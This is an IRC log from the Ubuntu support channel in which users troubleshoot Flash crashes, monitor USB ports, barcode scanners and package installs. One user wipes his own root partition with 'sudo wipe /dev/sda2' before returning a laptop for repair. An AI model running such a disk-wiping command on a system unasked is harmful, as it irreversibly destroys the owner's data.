[13:24] <bring2towels> good to hear, i was not finding any mentions of driver problems so it nearly stumped me :D
[13:24] <bring2towels> nice, that looks like a good mobo :)
[13:24] <Dawson> yeah neither me thats what was so confusing! Was that the IDE Pata  thing was disabled by default
[13:24] <Dawson> yeah it isnt bad, cost like £30.00 from aria.co.uk
[13:24] <Dawson> nice and cheap for what we want
[13:24] <kindofabuzz> dVs--, that work?
[13:25] <Dawson> ActionParsnip: Thank you for your help also
[13:26] <brutus> how do I get matlab for gutsy?
[13:26] <magnetron> olmari, the default used to be that the linux system EXPECTED any serial input to be typed into a terminal. (with mgetty). however, this expects that the serial device is a serial terminal, that supports two-way communication
[13:26] <magnetron> brutus, we don't sell matlab
[13:26] <neoline> Guys i need help regarding installing packages from an iso image created with aptoncd!
[13:27] <bring2towels> Dawson, yah that is not bad for having AM2 and DDR2-800. its strange that the bios defaults have problems, but as long as it works.... :)
[13:27] <magnetron> brutus, if you want matlab, contact mathworks
[13:27] <dooglus> I'm returning my laptop to the manufacturer for repair.  I need to wipe the hdd before I do so - what's a good way?
[13:27] <olmari> magnetron: I know my device (barcode scanner) accepts input data too, There is even instructions for inputting data manually
[13:27] <shingen> woot, bug 228633 = ubuntu freezes with wifi + laptop
[13:28] <magnetron> olmari, then you do NOT want the text to be typed in as if it was typed into any terminal
[13:28] <amenado> dooglus-> diskwipe ?
[13:28] <neoline> ﻿Guys i need help regarding installing packages from an iso image created with aptoncd! pls help! :|
[13:28] <bring2towels> brutus, you might want to check out Octave or SciLab
[13:28] <dooglus> amenado: !info diskwipe
[13:28] <dooglus> !ino diskwipe
[13:28] <dooglus> !info diskwipe
[13:28] <olmari> magnetron: well what I do want then? :-p
[13:28] <hazrd> im trying to compile the newest version of bmpanel and getting this msg: http://pastebin.com/m36811f65
[13:28] <hazrd> What should i do? :O
[13:28] <olmari> magnetron: I mean I'd just like to read an barcode to an program :)
[13:29] <magnetron> olmari, exactly
[13:29] <dooglus> amenado: where can I find it?
[13:29] <neoline> help with aptoncd please!
[13:29] <amenado> dooglus-> google ?
[13:29] <magnetron> olmari, which program?
[13:29] <dorto> Is the Ubuntu Packaging Guide available in PDF format for taking print out?
[13:29] <shingen> hazrd: ask the guys who created it?
[13:29] <olmari> magnetron: any program... Bills to browser/inet banking, DVD barcodes to cataloging proggies etc
[13:29] <dooglus> amenado: also, what happens when the wiping program gets to itself?  won't it start to fail?
[13:30] <amenado> dooglus-> it can be put on  a cdrom?
[13:30] <olmari> barcode scanner outputs decoded data so it is plain ascii characters that is outputs as for computer perspective
[13:30] <brutus> bring2towels, thanks
[13:31] <neoline> or just tell me how can i use the apt archives *.deb files for installation satisfying dependencies! please! :-(
[13:31] <dooglus> amenado: I found 'wipe' - that looks like what I want...  $ sudo wipe /dev/sda2
[13:31] <dooglus> Okay to WIPE 1 special file ? (Yes/No) yes
[13:31] <shingen> hazrd: it looks like there are some syntax issues with their code and variable declaration... you either know enough to fix it, or speak to the guy(s) who wrote it to fix... it doesn't look like missing dependencies
[13:32] <dooglus> hopefully the wipe program will stay around in RAM while it wipes the disk - but I guess I'll see what happens
[13:32] <bring2towels> brutus, no prob, you can install them using Add/Remove
[13:32] <olmari> magnetron: I know "cat /dev/rfcomm1" shows the data on terminal screen, but it's half-useless there
[13:32] <MortenB> shouldn't alpha 5 be out now?
[13:33] <stylianos> Hello
[13:33] <bazhang> #ubuntu+1 MortenB
[13:33] <jlong> Anyone have any tips/tricks to stabilize Firefox and Adobe Flash content on Ubunty 8.04??
[13:33] <neoline> Help please!
[13:33] <stylianos> Which pulseaudio package is required for flash to work?
[13:33] <neoline> anyone?
[13:33] <stylianos> !pulse
[13:33] <shingen> !freebeer
[13:33] <stylianos> !firefox-pulse
[13:33] <neoline> !aptoncd
[13:33] <stylianos> !firefox bug
[13:33] <stylianos> !firefox-bug
[13:34] <shingen> !intel sucks
[13:34] <FloodBot2> ubottu: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[13:34] <stylianos> ah shoot
[13:34] <dooglus> stylianos: I don't think pulse is needed at all to get sound from firefox
[13:34] <olmari> magnetron: nah, catty wasn't it either :)
[13:34] <bring2towels> jlong, stabilize? it works fine for me, you might want to install the version from Adobe's website instead of from the Ubuntu repo though
[13:34] <stylianos> dooglus: There is a bug with firefox and flash, I needed it for my box
[13:34] <brutus> bring2towels, I got it with apt-get..., thanks anyways
[13:34] <LjL> !botabuse | stylianos, shingen
[13:34] <jlong> bring - Yes, stabilize.  It crashes randomly, mostly when there is Flash content
[13:34] <dooglus> stylianos: I think running "aoss firefox" fixed everything for me
[13:35] <jlong> bring - I'm using the Adobe version
[13:35] <stylianos> dooglus: ah, running what? :S
[13:35] <brutus> !octave
[13:35] <LjL> !info octave | brutus
[13:35] <bring2towels> brutus, sure that works too, you might want to get the Qt version to have a user interface
[13:35] <LjL> eh...
[13:35] <dooglus> stylianos: sticking "aoss" in front of the firefox command line made it work
[13:35] <bring2towels> !octave3
[13:35] <LjL> !info octave2.9
[13:35] <dooglus> stylianos: I don't understand much about linux sound systems
[13:36] <bring2towels> !info qtoctave
[13:36] <magnetron> olmari, you are a little bit on your own here. the case where you you rs232 keyboards connected over bluetooth to be used as input in any app really isn't a common problem. any app that need something similar should serial port support in the specific app itself. either that, or you should have bought a ps/2 or USB bar code scanner instead
[13:37] <brutus> bring2towels, hmm....doesn't seem to be there in my repos
[13:37] <jlong> I get segmentation faults left and right and the debug dump points right to Flash
[13:37] <bring2towels> stylianos, yes but in addition to using pulse there are other ways to fix it too
[13:37] <erUSUL> !info libflashsupport | stylianos
[13:37] <stylianos> bring2towels: ?
[13:37] <dooglus> jlong: I get a crash every time I try to play a youtube video in fullscreen in firefox.  I found the solution was to stop trying to do it
[13:37] <olmari> magnetron: well it is what it is, but generally linux is king at these type of situations... just if I'd know better to code scripts at any language =)
[13:38] <jlong> doog - haha, that's one way to fix it i suppose
[13:38] <bring2towels> stylianos, did you install flash from adobe's site or from the ubuntu repo?
[13:38] <dooglus> jlong: are your crashes in the same situation?  trying to play full screen?
[13:38] <jrib> dooglus: you should try using nspluginwrapper.  I know it's to get flash on 64bit, but I believe you can still use it in 32bit and I have no problems here on 64bit
[13:38] <stylianos> bring2towels: I'm getting it from the repos. installing now.
[13:38] <magnetron> olmari, if more people were in your situation, someone would have made the software already
[13:38] <ninuuz> is there like a site ripper tool for ubuntu?
[13:38] <jlong> doog - no, i get crashes even after Firefox has been sitting idle on a page
[13:38] <bring2towels> stylianos, you actually want to install the one from adobe's site i think
[13:39] <jlong> Gmail crashes it, any video site will
[13:39] <jrib> ninuuz: like wget?
[13:39] <dooglus> jrib: I'm wiping my root partition at the moment, so I can't try anything much.  I'm surprised that anything's still running to be honest
[13:39] <dooglus> jlong: there's no flash on gmail.com is there?
[13:39] <bring2towels> !info octave3.0 brutus
[13:39] <bring2towels> !info octave3.0
[13:39] <erUSUL> ninuuz: wget curl or httrack
[13:40] <olmari> magnetron: actually there is one, but it is for some barcode scanner that outputs data on it's own protocol, so it didn't work... developers did promise to look into it, but being busy it can take forever :)
[13:40] <magnetron> olmari, investiage this (but it will require heavy configing)
[13:40] <bring2towels> brutus, there are a couple different packages, octave3.0 and qtoctave
[13:40] <jlong> doog - well, i just signed into my gmail.  it loaded the page, then Firefox closed
[13:40] <Pie-rate> ﻿is there a command that will adjust the volume in gnome and display the volume OSD?
[13:40] <erUSUL> Pie-rate: amixer ? alsamixer?
[13:41] <dooglus> jlong: did you try a new profile?  maybe your firefox profile is corrupted?
[13:41] <jlong> yep, I did that because I had to downgrade from the even-buggier Firefox 3 that came with 8.04
[13:41] <olmari> magnetron: written in perl. FlicServ was the name
[13:41] <jlong> I've never had so many problems with a version of Linux as I have with this one
[13:41] <Pie-rate> erUSUL: neither of them can show the OSD
[13:42] <Pie-rate> erUSUL: the little thing in the middle of the screen that displays the volume level when you adjust it with keyboard binds
[13:42] <brutus> bring2towels, thank you, i'll have a look
[13:42] <bring2towels> jlong, ive never had as few problems with a version of linux as with this one, so i guess we balance out?
[13:42] <Pie-rate> erUSUL: i have not been able to find a way to show it at all
[13:42] <dooglus> jlong: what if you only have one tab, at gmail.com - does it still crash?  reliably?
[13:42] <bring2towels> brutus, good luck, sorry i have not actually tried these, but i hear they are good
[13:42] <erUSUL> Pie-rate: that is something managed by the machine bios via acpi i think ...
[13:42] <netsurf3> hey peeps does anyone know if i can install ubuntu LTS alternate to a LVM which is already encrypted?
[13:43] <Pie-rate> erUSUL: highly doubt...
[13:43] <jlong> doog - I can't say that it would crash reliably that way, no
[13:44] <jlong> However, Firefox and Pidgin just shut down on me
[13:44] <dooglus> jlong: so maybe the 'gmail' crash you saw was really due to some flash in a different tab/
[13:44] <dooglus> jlong: I did used to have lots of flash-related crashes - but can't remember what stopped them.
[13:44] <jlong> I can say with 100% certainty that MSNBC's video player site will crash it reliably
[13:44] <ik-ook> hallo everybody
[13:45] <brutus> bring2towels, appreciate your help, wil try out scilab too
[13:45] <ik-ook> I'm new on ubuntu
[13:45] <dooglus> jlong: perhaps give a specific URL that crashes for you and see if it does for anyone else here?
[13:45] <dooglus> hi ik-ook
[13:45] <bring2towels> jlong, is it only crashes on flash pages, or other pages too? if gmail crashes then it is probably not flash related
[13:46] <jlong> If anyone wants to try video.msnbc.com... it just crashed out on me
[13:46] <Bodsda> Hi, i have two usb ports on the side of my screen, but when i plug in anything its not recognized and doesnt show up in 'lsusb'. How can i activate/use these ports?
[13:46] <ik-ook> I'm trying to install flash player 9 but I can't
[13:46] <tore> anyone made a .deb of fluxbox  1.1.0 yet?
[13:46] <dr_willis> Bodsda,  err.. there is a usb hub cable going from the monitor to the pc right?
[13:46] <jlong> bring - It does crash on Gmail, but nearly any page with flash also crashes.
[13:46] <zelexus> ik-ook: which architecture are you using?
[13:47] <Bodsda> dr_willis, huh?? no there is 2 built in usb slots on my screen
[13:47] <jrib> Bodsda: I have that setup.  Did you connect the usb from your monitor to your pc's usb?
[13:47] <jlong> I also ran 'firefox-2 -g' and got the dump, which shows libflashplayer.so or whatever
[13:47] <jlong> q
[13:47] <Bodsda> jrib, no
[13:47] <Bodsda> jrib, im not sure what you mean by that
[13:47] <dr_willis> Bodsda,  you just said yoiu have 2 usb ports on the side of the screen... what are your efering to then?
[13:47] <ik-ook> I've  an old dell latitude c400 and I've installed ubuntu just yesterday
[13:47] <jlong> Anybody have a chance to check out VIDEO.MSNBC.COM?
[13:47] <dr_willis> Bodsda,  it sure SHOUNDS like you are saying you got a mOnitor with a usb hub built in.
[13:48] <Bodsda> dr_willis, yes thats correct
[13:48] <jrib> Bodsda: hold on, let me check how my monitor is setup.  Do you have dell monitor btw?
[13:48] <Bodsda> jrib, yep :)
[13:48] <dr_willis> Bodsda,  then the monitor has to have some usb cable from  the monitor to the pc.. Unless its somehow usign the video cable as a usb cable..
[13:48] <djhash> Bodsda: underneat the screen there is a usb connector to connect from PC to monitor.. next to VGA connections.. check it out
[13:48] <Bodsda> jrib, dell 1907FP
[13:49] <dr_willis> all the monitor/hubs ive seen have a usb A/B cable from the base of the monitor to the pc.
[13:49] <jrib> Bodsda: yeah, I have the same model 17in.  The monitor came with a usb cable right?
[13:49] <jlong> i will BRB.. I need to restart this beast
[13:49] <zelexus> ik-ook: I was using AMD64, and I had some trouble installing flash. What I did was, I copied the libflashplayer.so to /home/'username'/.firefox/plugins. If it doesn't exist, then create it. Then restart firefox. That worked for me!
[13:49] <Bodsda> jrib, dunno, this one was kinda pinched from the nhs lol
[13:50] <Bodsda> jrib, i dont have a double ended usb cable unforyunately
[13:50] <djhash> Bodsda: look at your port connections on the monitor where the VGA cable is.. you'll see a USB B port there that needs to be connected to your PC.
[13:50] <Bodsda> unfortunately*
[13:50] <jrib> Bodsda: you have more usb ports in the back btw.  Let me take you a picture of the quick-setup so you can see what you need to do
[13:50] <ik-ook> I'll try thanks a lot  zelaxus
[13:51] <zelexus> ik-ook: no worries
[13:51] <djhash> Bodsda: not any double ended USB.. you need a USB A/B cable.
[13:51] <Bodsda> djhash, i dont have one of them either :) damn, cheers anyway & jrib, dr_willis -- cheers
[13:51] <dr_willis> djhash,  :) well thats 2 ends! :)
[13:52] <sinan> what's your favourite vnc client/server for ubuntu?
[13:52] <dr_willis> a normal usb a-b cable. that ya see used on printers/hubs/so forth. :)
[13:52] <dooglus> vnc4server
[13:52] <dr_willis> sinan,  depends on the task at hand. I tend to use vnc4server for my needs
[13:52] <stylianos> What's the path to the recycle bin?
[13:52] <bazhang> !trash
[13:53] <ik-ook> mmm: I've libflashplayer.so on my desktop but when I try to open it the pc say that I cannot open it
[13:53] <dr_willis> ik-ook,  why are you trying to open it?
[13:54] <zelexus> ik_ook: you should not open it. You should just move it. Do you have any terminal experince?
[13:54] <abibm_> ?
[13:54] <ik-ook> because I cannot use youtube
[13:54] <zelexus> yes
[13:55] <dr_willis> ik-ook,  you have used the 'normal' package manager method to install flash?
[13:55] <ik-ook> .tar.gz linux
[13:55] <jrib> Bodsda: one better: http://support.dell.com/support/edocs/systems/1907FP/en/setup.htm#Connecting%20Your%20Monitor
[13:55] <Ninina> I'm thinking of trying Ubuntu and I'm wondering about a few things, like do any of the versions have benefits over others, I know that U is gnome and KU is KDE from the site but that is meaningless to me
[13:56] <Bodsda> haha, cheers jrib :)
[13:56] <ik-ook> is It the right one?
[13:56] <dr_willis> ik-ook,  you can install flash from the package manager tools. You do not need to manually download anything.
[13:56] <dr_willis> !flash
[13:56] <dr_willis> ik-ook,  installing the 'ubuntu-restricted-extras' package should install flash and other things you proberly want to maxamize your web experience.
[13:57] <zelexus> dr_willis: thank you. I was merely trying to help if he had a different archicture like AMD64. I assumed that was the problem at first. Sorry :) I'll let you handle this one :)
[13:57] <rocknzen> fd
[13:57] <Ninina> dr_willis: may I ask why they are called restricted, that makes them sound kinda legally grey or something
[13:57] <dr_willis> zelexus,  hes on 64bit? No idea then. :)  but im going to bed. 3rd shifter here.
[13:57] <kindofabuzz> dVs--, so did it work?
[13:58] <dr_willis> Ninina,  they are not legally as 'free' as the other 'free' as in GPL free.  stuff.
[13:58] <Bodsda> ik-ook, open a terminal and type "sudo apt-get install flashplugin-nonfree"
[13:58] <dr_willis> !free
[13:58] <zelexus> :)
[13:58] <rocknzen> j,
[13:58] <ik-ook> ok I'll try. thanks again
[13:58] <ik-ook> Bodsda, It is too difficult for me
[13:58] <dr_willis> Ninina,  they re restricted in what you can do with them - ie: you cant  do some things to the flash binaries, and so forth. normally
[13:58] <Bodsda> ik-ook, what is?
[13:58] <ik-ook> I'm a completely beginner
[13:58] <jlong> Somebody was saying something about copying libflashplayer.so to a directory in the home folder??
[13:59] <dr_willis> ik-ook,  you may want to go read that ubuntu-training-guide book then.
[13:59] <jlong> Or some file like that
[13:59] <Bodsda> ik-ook, thats fine, dont worry. Do you know what a terminal is?
[13:59] <dr_willis> !training | ik-ook
[13:59] <zelexus> jlong: yes, that was me
[13:59] <Debolaz> I eventually deinstalled flash because it made my browser so unstable.
[13:59] <Ninina> dr_willis: I see, I guess there isn't a better way to state it as non-free is also correct but confusing
[13:59] <Debolaz> I just use vmware for flash stuff now.
[13:59] <jlong> zelexus - I am thinking of trying that.. I looked for said file in said directory and it doesn't exist
[13:59] <jlong> the directory doesn't exist
[14:00] <wangor> hmm i'm trying to install tomcat5.5 on ubuntu but it doesn't work. Each time i do /etc/init.d/tomcat5.5 start it tells me it did start [ OK ] but in fact it does not. I've tried reading this file (/etc/init.d/tomcat5.5) but there's too much things there to figure out - any ideas what may go wrong ?
[14:00] <dr_willis> Ninina,  they are Free. :) as in no $$. But no Free as in GPL free..     They have 1 or more restrictions to their freedom.   that about summs it up
[14:00] <Bodsda> ik-ook, you stil here??
[14:00] <wangor> i've got ubuntu 7.10
[14:00] <ik-ook> ok guy, you give me a lot to read. I hope this help me.
[14:01] <ik-ook> ja I'm here
[14:01] <Ninina> Debolaz: so flash is unstable under linux? that must make the internet annoying?
[14:01] <zelexus> first of all create a "plugin" folder in your hidden mozilla directory. That is accomplished by doing the following in the terminal. mkdir plugins /home/'your-username'/.mozilla/firefox/
[14:01] <Bodsda> ik-ook, do you know what a terminal is?
[14:01] <ik-ook> I'm opening the web pages you suggested me
[14:01] <Bodsda> Ninina, its actually quite stable for most people
[14:01] <ik-ook> dell latitude c400
[14:01] <jlong> zelexus - following u
[14:01] <dr_willis> Ninina,  i find that FLASH makes the internet annoying.. :)
[14:01] <Debolaz> Ninina: The official restricted flash plugin is somewhat unstable yes. But that's due to crappy programming by Adobe, and the nature of closed source software.
[14:02] <dr_willis> Ninina,  to be honest - i dont have any flash issues that ive noticed on my linux machines.. Your Mileage may vary.
[14:02] <zelexus> jlong - have you downloaded the tar.gz package from adobes homepage?
[14:02] <dr_willis> If Flash was 'free' :) we could fix it!
[14:02] <ik-ook> that is a great community, compliment!
[14:02] <kindofabuzz> aye
[14:02] <kindofabuzz> fix gnash then =)
[14:02] <Bodsda> dr_willis, if it was foss yes
[14:02] <dooglus> dr_willis: can you try playing a youtube video fullscreen?
[14:02] <stylianos> What's the library to play encrypted dvds?
[14:02] <arvind_khadri> dr_willis, Ninina  use gnash then :)
[14:02] <jlong> zelexus - I had already installed the Adobe player from within synaptic
[14:03] <zelexus> ok.
[14:03] <kindofabuzz> gnash is just as bad as flash, well maybe better now
[14:03] <Bodsda> ik-ook, please answer me, do you know how to open a terminal?
[14:03] <zelexus> jlong - 2 secs
[14:03] <jlong> sure
[14:03] <dr_willis> dooglus,  some flash sites work full. some dont.. Im testing out Flash 10 right now..  :)
[14:03] <ik-ook> no, I don't know, sorry
[14:03] <arvind_khadri> Bodsda, applications->accessories->terminal
[14:03] <Ninina> dr_willis: I'm only thinking of half and half for now until I make sure what I need can be done under linux without a headache
[14:03] <Bodsda> thanks arvind_khadri lol
[14:03] <hateball> Is there a way to make "cp" display how long an operation has taken, and at what speed it has written data?
[14:04] <kindofabuzz> dr_willis, that's because some sites haven't updated to 10
[14:04] <Bodsda> ik-ook, applications->accessories->terminal  in the menus -- open one now
[14:04] <dr_willis> Ninina,  depends on the task i guess.. I find computers are often a headache.. reguardless of the os.
[14:04] <arvind_khadri> hateball, cp --verbose maybe
[14:04] <dr_willis> kindofabuzz,  the sites say  'for full screen update your flash' :) and im using the latest flash10 beta.. heh
[14:04] <zelexus> jlong: go to this page, and download the "tar.gz for linux version"      http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
[14:04] <ik-ook> I try
[14:04] <Bodsda> hateball, not sure, but -v makes it easier to see if its still working
[14:05] <kindofabuzz> dr_willis, yeah they haven't coded there pages to use it yet so it just thinks you don't have flash
[14:05] <Debolaz> So far, the only two general purpose program I haven't been able to find a suitable open source replacement for though is Vmware.
[14:05] <jlong> zelexus - ok, got it
[14:05] <stylianos> What's the library to play encrypted dvds?
[14:05] <ik-ook> bodsda, and then?
[14:05] <jrib> !dvd | stylianos
[14:05] <hateball> Bodsda, arvind_khadri : -verbose only shows which file it's copying
[14:05] <dr_willis> kindofabuzz,  3 weeks ago cbs.com also broke flash under firefox under linux, and windows. :(
[14:05] <Bodsda> ik-ook, type   "sudo apt-get install flashplugin-nonfree"      without the quotes
[14:05] <zelexus> jlong - then unpack the folder to your desktop or whatever
[14:06] <arvind_khadri> hateball, then maybe you will have to script for the speed thing
[14:06] <hateball> arvind_khadri: Yeah I guess so :)
[14:06] <jlong> zelexus - done
[14:06] <zelexus> jlong - there should be two or three files in there. One of them is called "libflash.so". Something like that.
[14:06] <arvind_khadri> hateball, but in GUI it shows the rate at which it copies
[14:06] <ik-ook> ja
[14:06] <rever> Is there any way to enable Auto Update for Hardy. We will be installing about 30 PCs with Hardy soon and we would like to make sure all Security Updates are applied
[14:06] <dooglus> hateball: you could use rsync or some such instead of cp if you want progress information
[14:06] <jlong> zelexus - libflashplayer.so
[14:07] <zelexus> jlong - we need to copy that file to the directory you have just created
[14:07] <zelexus> jlong - yes
[14:07] <arvind_khadri> hateball, ya
[14:07] <Bodsda> ik-ook, done that?
[14:07] <jlong> zelexus - ok, standby
[14:07] <ik-ook> I've writte
[14:07] <Bodsda> ik-ook, pressed enter?
[14:07] <zelexus> jlong - I'll see if I can remember the command
[14:07] <ik-ook> done
[14:07] <semp> hello
[14:07] <semp> i am new to this
[14:07] <hateball> dooglus, arvind_khadri: Good idea with rsync. What I'm trying to do is test NFS performance, it seems messed up...
[14:07] <Bodsda> ik-ook, is it installing aything?
[14:07] <arvind_khadri> !hi | semp
[14:07] <Bodsda> welcome to ubuntu semp
[14:08] <ik-ook> maybe
[14:08] <semp> just installed ubuntu yesterday
[14:08] <ik-ook> something It"s appening
[14:08] <zelexus> jlong - cp /home/'your-username'/Desktop/libflashplayer.so /home/'your-username'/.mozilla/firefox/plugins
[14:08] <ndlovu> any idea where the firefox binary is located in ubuntu?
[14:08] <arvind_khadri> !ask | semp
[14:08] <eth01> tech support.
[14:08] <zelexus> jlong - something like that
[14:08] <Bodsda> semp, cool, anything we can help with?
[14:08] <eth01> what an odd nickname.
[14:08] <semp> i have an old computer, and it runs a LOT faster on ubuntu
[14:08] <eth01> maybe he works for optonline ;)
[14:08] <zelexus> jlong - remember to check your path
[14:08] <eth01> some lame american ISP.
[14:09] <jlong> zelexus - done
[14:09] <olmari> semp: yes, linux generally work way more efficiently than... other competitor.. =)
[14:09] <Bodsda> olmari, lol, no need for name calling :)
[14:09] <bartosz_>  how to send code 0 from telnet
[14:09] <ik-ook> bodsda, the pc is still thinking...
[14:09] <semp> yes, it does.  I may start using ubuntu as my 'primary' o/s !
[14:09] <ik-ook> yes
[14:09] <zelexus> jlong - then restart firefox and go to youtube and see if it works!
[14:09] <Bodsda> ik-ook, are you sure? did you enter your password and press enter when it prompted?
[14:09] <arvind_khadri> semp, do you have support question??
[14:10] <Bodsda> !yay | semp
[14:10] <zelexus> jlong - *fingers crossed*
[14:10] <bartosz_>  how to send code 0 from telnet
[14:10] <Ninina> gah I can't really see a difference between Kubuntu and Ubuntu but my perfectionist side is telling me one is better then the other and I have to pick that one T_T
[14:10] <jlong> zelexus - restarting now, standby
[14:10] <ik-ook> flash plugin installed
[14:10] <semp> yes actually.   How do i install all those fancy 'desktop animations' that i see all over the place ... something called compfiz i think ?
[14:11] <Bodsda> ik-ook, reopen your web browser and you should be able to use flash sites eg youtube
[14:11] <olmari> Ninina: Run gnome odd weeks and kde even :D
[14:11] <Bodsda> !compiz | semp
[14:11] <arvind_khadri> !compiz > semp
[14:11] <ik-ook> now I try to open youtube
[14:11] <arvind_khadri> !ccsm > semp
[14:11] <nightcrawla> tup fellas
[14:11] <nightcrawla> whats up**
[14:11] <jlong> zelexus - my usual test site is video.msnbc.com, seems to be working now, but it's fooled me before
[14:11] <ik-ook> great!!
[14:11] <arvind_khadri> !ccsm > semp
[14:11] <jlong> zelexus - thanks for the help, hopefully this makes it a little more bearable
[14:11] <ik-ook> it works!!
[14:12] <Bodsda> !-compi
[14:12] <Bodsda> !-compiz
[14:12] <nightcrawla> what are you guys trying to get to work
[14:12] <ik-ook> thank you very much
[14:12] <Bodsda> your welcome ik-ook
[14:12] <zelexus> jlong - hehe, ok. At least that is how I got it to work. The reason was because of the architecture, for me at least. Hope it works and I'm glad I could help.
[14:12] <zelexus> jlong - see ya around! :D
[14:12] <monostone> I somehow managed to mess up the keymappings for my logitech USB G11 keyboard media keys. Xorg.0.log is beggining to report a "(II) Unreported Prefix0 scancode: 0x22" message, i investigated a bit and saw that the hex codes the messages print are the keydown scancode of the media keys as detected by running "showkey -s". BUT xev does NOT detect the media keys anymore, on the other hand in gnome keyboard shortcuts the keys ARE dete
[14:12] <monostone> cted, also running "lshal -m" does detect the keysym for all the media keys. Media players like Rythymbox continue to have the media keys working, but totem has lost them. Any pointers as to what the problem is? could this be a kernel keymap issue? or since the message appears in my Xorg.0.log, is it a X issue?
[14:12] <Bodsda> nightcrawla, the universe, unfortunately religeous nut cases screwed it up millenia ago - so much documentation to write now
[14:12] <jlong> zelexus - saw that you said you were on AMD.. i'm on Intel pentium D
[14:12] <jlong> zelexus - certainly.  thanks again
[14:13] <ik-ook> so, let see.
[14:13] <zelexus> jlong - hmm, maybe it works anyway. Don't know
[14:13] <ik-ook> bye
[14:13] <Bodsda> bye
[14:13] <ik-ook> I'm little busy now
[14:13] <arvind_khadri> Bodsda, :D
[14:13] <bartosz_>  how to send code 0 from telnet
[14:13] <Bodsda> :)
[14:13] <bartosz_> 0 byte code
[14:13] <arvind_khadri> !telnet | bartosz_
[14:14] <bartosz_> its just for testing purposes
[14:15] <absence> hi! when i run vbeprobe from grub, i get a long list of vesa graphical modes, but when i add vga=ask to the kernel, all i get is a few text modes, no vesa stuff. do i have to add something else to the kernel?
[14:15] <Ninina> ugg so much cryptic text is this what linux is like all the time?
[14:15] <jlong> haha
[14:15] <Bodsda> Ninina, this is quite quiet for #ubuntu
[14:15] <ndlovu> I should have firefox 2.0.19 (ubuntu package) and 3.0.1 (mozilla download) installed. Any idea how I would specify to run the old version?
[14:16] <jlong> ndlovu - run 'firefox-2'
[14:16] <Ninina> T_T this is not helping my confidence in the least
[14:16] <ndlovu> jlong, firefox-2: command not found
[14:17] <Bodsda> Ninina, when all the yanks wake up it gets hectic -- but in general things arent that complicated.
[14:17] <morningwalker> where do i find virtual box after installation?
[14:17] <chumley> I'd like to set up a backup mail server. If the primary mail server is down, I'd like this system to store the mail until the primary comes back up. I did a install yesterday and selected "Internet with smarthost" during the install. Is that the best selection for this?
[14:17]  * usser hehe good morning
[14:17] <jlong> ndlovu - you sure it's installed?
[14:17] <Bodsda> ndlovu, type    firefox  then press tab twice, this should show you all the firefox versions/options
[14:17] <morningwalker> where do i find virtualbox after installation??
[14:17] <jrib> Ninina: you see commands here because it's easier to tell someone a command over irc than to tell them where to click
[14:17] <Bodsda> morningwalker, apps--> system tools
[14:18] <ndlovu> Bodsda, jlong I only get firefox as a command
[14:18] <Ninina> what country is Ubuntu's restricted extras legality?
[14:18] <arvind_khadri> jlong, its just firefox
[14:18] <morningwalker> not there!!
[14:18] <Bodsda> ndlovu, type firefox --version
[14:18] <jlong> he said he wanted to specify firefox version 2, though
[14:18] <jrib> Ninina: you need to ask your lawyer for legal advice
[14:18] <Bodsda> morningwalker, what isnt?
[14:18] <jlong> I can launch firefox-2 from terminal
[14:18] <ndlovu> Bodsda, it returns 2.0.0.16
[14:18] <morningwalker> virtualbox in system tools
[14:18] <Bodsda> Ninina, what country are you in?
[14:19] <Bodsda> ndlovu, then the command 'firefox' runs firefox 2
[14:19] <morningwalker> just NTFS configuration tools
[14:19] <Bodsda> ndlovu, you dont have ff3
[14:19] <ndlovu> Bodsda, but if I type firefox from the commandline, then version 3 opens
[14:19] <Ninina> jrib:if that is the case I guess I'll have to pass on Ubuntu because I cannot afford legal advice
[14:19] <jlong> I would get rid of Version 3
[14:19] <soundray> Ninina: it's not an issue of jurisdiction. "Restricted" parts of ubuntu are not covered by OSI compliant licences
[14:19] <Bodsda> ndlovu, ditch ff3
[14:19] <Ninina> Bodsda: The US unfortunately
[14:19] <Sobaka> Hello. I have installed ubuntu 8.04.1 on my notebook Toshiba p300d. It has a Marvell Yukon 88e8040T network card. But this network card doesn't work, I have now no network connection. On the internet I found several solutions, but none of them works because. Currently I have the 2.6.24-19-generic kernel. Is there a place where I can get a newer kernel as in where this bug is fixed?
[14:19] <jrib> Ninina: ok?  Does it help you if a random stranger on irc tells you it's legal?
[14:20] <Bodsda> Ninina, you should be okay
[14:20] <starenka> morningwalker: just type virtualbox into konsole
[14:20] <jlong> I don't see why there would be legal issues...
[14:20] <kindofabuzz> someone test this for me: go anywhere with a combo box or https://www.cs.tcd.ie/Jeremy.Jones/counter/comboBox/comboBoxTest.htm , selet a box and while the dropdown is down, hit print scren
[14:20] <kindofabuzz> scren
[14:20] <Ninina> jrib:no but they can't just offer things that are illegal in the country's where they have their business headquarters either or they'd get shut down
[14:20] <kindofabuzz> screen*
[14:21] <jrib> Ninina: there are mirrors all over the world
[14:21] <starenka> Sobaka: you can get 2.6.24-21 in pre-released updates repository. check synaptic for adding the repo. running the kernel right now
[14:21] <soundray> Ninina: Ubuntu does not offer illegal software.
[14:21] <usser> Sobaka, you may try to enable hardy-proposed
[14:21] <Ninina> they offer VLC
[14:21] <IdleOne> !ot
[14:21] <soundray> Ninina: VLC is not illegal
[14:22] <Sobaka> Synaptic doesn't work because i have no internet connection, can I download the package somewhere?
[14:22] <IdleOne> Sobaka: packages.ubuntu.com
[14:22] <Sobaka> And then where?
[14:22] <IdleOne> look for the package you need
[14:22] <silence__> hi all
[14:24] <morningwalker> sudo apt-get install virtualbox-ose
[14:24] <morningwalker> i just noticed that i dont have virtualbox on my system
[14:24] <morningwalker> ubuntu partition alone is 60gig
[14:24] <soundray> !medibuntu > Ninina
[14:24] <soundray> !dvd > Ninina
[14:24] <morningwalker> i can do more with this
[14:27] <jlong> <-- going afk.  private message me if you need anything
[14:28] <tdn> How do I get on with this problem: https://answers.launchpad.net/ubuntu/+question/43858 I cannot the drivers for my Ralink USB Wireless network adaptor to work properly. I suspect a bug in the kernel image provided by Ubuntu mirrors. Please help me on this.
[14:28] <Sobaka> Where can I find this kernel 2.6.24-21 at packages.ubuntu.com? Under hardy or hardy-backports?
[14:29] <ioops> hi
[14:30] <erUSUL> Sobaka: proposed i think
[14:30] <ioops> soundray: you can help me please, I try to reinstall the linux-kernel-image by aptitute reinstall, and it seem it regenerate the initramfs but after words, at the new boot the initramfs prompt still again
[14:31] <Sobaka> I see only hardy (8.04LTS), hardy-updates, hardy-backports
[14:31] <erUSUL> Sobaka: not sure if proposed is offered on that web though. proposed is for testing
[14:31] <erUSUL> Sobaka: not for general use
